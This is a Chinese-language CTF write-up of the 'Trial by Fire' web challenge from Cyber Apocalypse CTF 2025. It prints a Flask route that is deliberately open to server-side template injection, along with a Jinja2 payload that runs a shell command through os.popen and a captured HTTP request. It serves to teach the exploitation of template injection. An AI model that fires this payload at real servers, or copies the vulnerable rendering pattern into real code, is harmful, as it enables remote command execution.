ctf-web:模板注入 -- Cyber Apocalypse CTF 2025 烈火试炼 Trial by Fire

发布于:2025-03-29 ⋅ 阅读:(34) ⋅ 点赞:(0)

当您登上火焰峰险恶的山坡时,炙热和不断变化的火山地形每一步都会考验您的耐力。熔岩河在群山中划出炽热的道路,用诡异的深红色光芒照亮了夜晚。空气中弥漫着浓厚的灰烬,远处大地的隆隆声警告着前方的危险。在这片地狱景观的中心,等待着一只巨大的火龙——火焰与愤怒的守护者,决心审判那些胆敢闯入的人。 火龙的眼睛像余烬一样,鳞片经过几个世纪的高温而变硬,不会盲目攻击。相反,它编织了恐惧的幻觉,表现出你最深的怀疑和过去的失败。要到达隐藏在巢穴外的传奇神器灰烬石,您必须证明自己的韧性,无视龙的灼热攻击和它所召唤的精神考验。坚守阵地,智取它的诡计,精准出击——只有那些拥有不屈不挠的勇气和战略掌握能力的玩家才能经受住烈火的试炼,并在艾尔多利亚的传奇中占据一席之地。

在一片河流炙热、酷热的土地上,火龙守卫着灰烬石。许多人寻求它的力量;没有一个占上风。 传说中提到了古老的模板卷轴——一旦被利用,就会扭曲命运的神秘文字。隐藏的符号可能会改变一切。 你能看懂符文吗?也许 49 岁是关键。

# 引入 Flask 模块中的方法和类
from flask import render_template, request, render_template_string, Blueprint, session, redirect, url_for
import random

# 创建一个 Blueprint,命名为 'web',用于组织视图
web = Blueprint('web', __name__)

# 龙在战斗结束后可能说出的挑衅语句
DRAGON_TAUNTS = [
    "Your weakness betrays you, mortal!",
    "You dare challenge the guardian of the Emberstone?",
    "Your path is shrouded in flame! Seek wisdom before you burn!",
    "Centuries of warriors have fallen before me!",
    "Your efforts amuse me, tiny one!"
]

# 路由:网站首页,展示游戏起始页面
@web.route('/')
def index():
    return render_template('index.html')

# 路由:玩家开始旅程,提交名字后跳转到介绍页面
@web.route('/begin', methods=['POST'])
def begin_journey():
    warrior_name = request.form.get('warrior_name', '').strip()
    if not warrior_name:  # 如果名字为空,重定向回首页
        return redirect(url_for('web.index'))
    session['warrior_name'] = warrior_name  # 将名字保存在会话中
    return render_template('intro.html', warrior_name=warrior_name)

# 路由:展示火焰巨龙页面
@web.route('/flamedrake')
def flamedrake():
    warrior_name = session.get('warrior_name')
    if not warrior_name:  # 如果没有名字,说明未进入游戏流程,重定向回首页
        return redirect(url_for('web.index'))
    return render_template("flamedrake.html", warrior_name=warrior_name)

# 路由:战斗结束后展示战报页面(POST 请求)
@web.route('/battle-report', methods=['POST'])
def battle_report():
    # 从会话中获取玩家名,默认为“Unknown Warrior”
    warrior_name = session.get("warrior_name", "Unknown Warrior")
    
    # 从表单中获取战斗时长
    battle_duration = request.form.get('battle_duration', "0")
    
    # 获取战斗统计数据(默认值为 "0" 或 "defeat")
    stats = {
        'damage_dealt': request.form.get('damage_dealt', "0"),
        'damage_taken': request.form.get('damage_taken', "0"),
        'spells_cast': request.form.get('spells_cast', "0"),
        'turns_survived': request.form.get('turns_survived', "0"),
        'outcome': request.form.get('outcome', 'defeat')
    }

    # 使用字符串模板构建 HTML 页面来展示战斗报告
    REPORT_TEMPLATE = f"""
    <html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Battle Report - The Flame Peaks</title>
        <link rel="icon" type="image/png" href="/static/images/favicon.png" />
        <link href="https://unpkg.com/nes.css@latest/css/nes.min.css" rel="stylesheet" />
        <link rel="stylesheet" href="/static/css/style.css">
    </head>
    <body>
        <div class="nes-container with-title is-dark battle-report"></div>
            <p class="title">Battle Report</p>
            <div class="warrior-info"></div>
                <i class="nes-icon is-large heart"></i>
                <p class="nes-text is-primary warrior-name">{warrior_name}</p>
            </div>
            <div class="report-stats"></div>
                <div class="nes-container is-dark with-title stat-group"></div>
                    <p class="title">Battle Statistics</p>
                    <p>🗡️ Damage Dealt: <span class="nes-text is-success">{stats['damage_dealt']}</span></p>
                    <p>💔 Damage Taken: <span class="nes-text is-error">{stats['damage_taken']}</span></p>
                    <p>✨ Spells Cast: <span class="nes-text is-warning">{stats['spells_cast']}</span></p>
                    <p>⏱️ Turns Survived: <span class="nes-text is-primary">{stats['turns_survived']}</span></p>
                    <p>⚔️ Battle Duration: <span class="nes-text is-secondary">{float(battle_duration):.1f} seconds</span></p>
                </div>
                <div class="nes-container is-dark battle-outcome {stats['outcome']}"></div>
                    <h2 class="nes-text is-primary">
                        {"🏆 Glorious Victory!" if stats['outcome'] == "victory" else "💀 Valiant Defeat"}
                    </h2>
                    <p class="nes-text">{random.choice(DRAGON_TAUNTS)}</p>  <!-- 随机显示一条龙的嘲讽语 -->
                </div>
            </div>
            <div class="report-actions nes-container is-dark"></div>
                <a href="/flamedrake" class="nes-btn is-primary">⚔️ Challenge Again</a>
                <a href="/" class="nes-btn is-error">🏰 Return to Entrance</a>
            </div>
        </div>
    </body>
    </html>
    """

    # 使用 Flask 的 render_template_string 动态渲染上面的 HTML 模板
    return render_template_string(REPORT_TEMPLATE)

前端限制了我们有效负载的长度,但是后端并没有限制,查看发送战报逻辑

{{((lipsum.__globals__.__builtins__.__import__('os')).popen('cat ./flag.txt')).read()}}

缩小窗口瞎打一下,在战报界面可以看到回显

POST /battle-report HTTP/1.1
Host: 94.237.50.121:51975
Content-Length: 101
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://94.237.50.121:51975
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://94.237.50.121:51975/flamedrake
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwlyDEKwCAMQNGrFBfjYvdeJiiVEohGotJBvHtbuv33p7mDKoliCTmZw8wJwFTbyB7xYomBG-LbcRB3Kj8oV9GOCFaadc5XqamA5bZ5v39DUzjBrWXWA-TyIek.Z94QxQ.j01HysMwUvzCKd9841LupF6FtJc
Connection: keep-alive

damage_dealt=79&damage_taken=110&spells_cast=2&turns_survived=3&outcome=defeat&battle_duration=19.713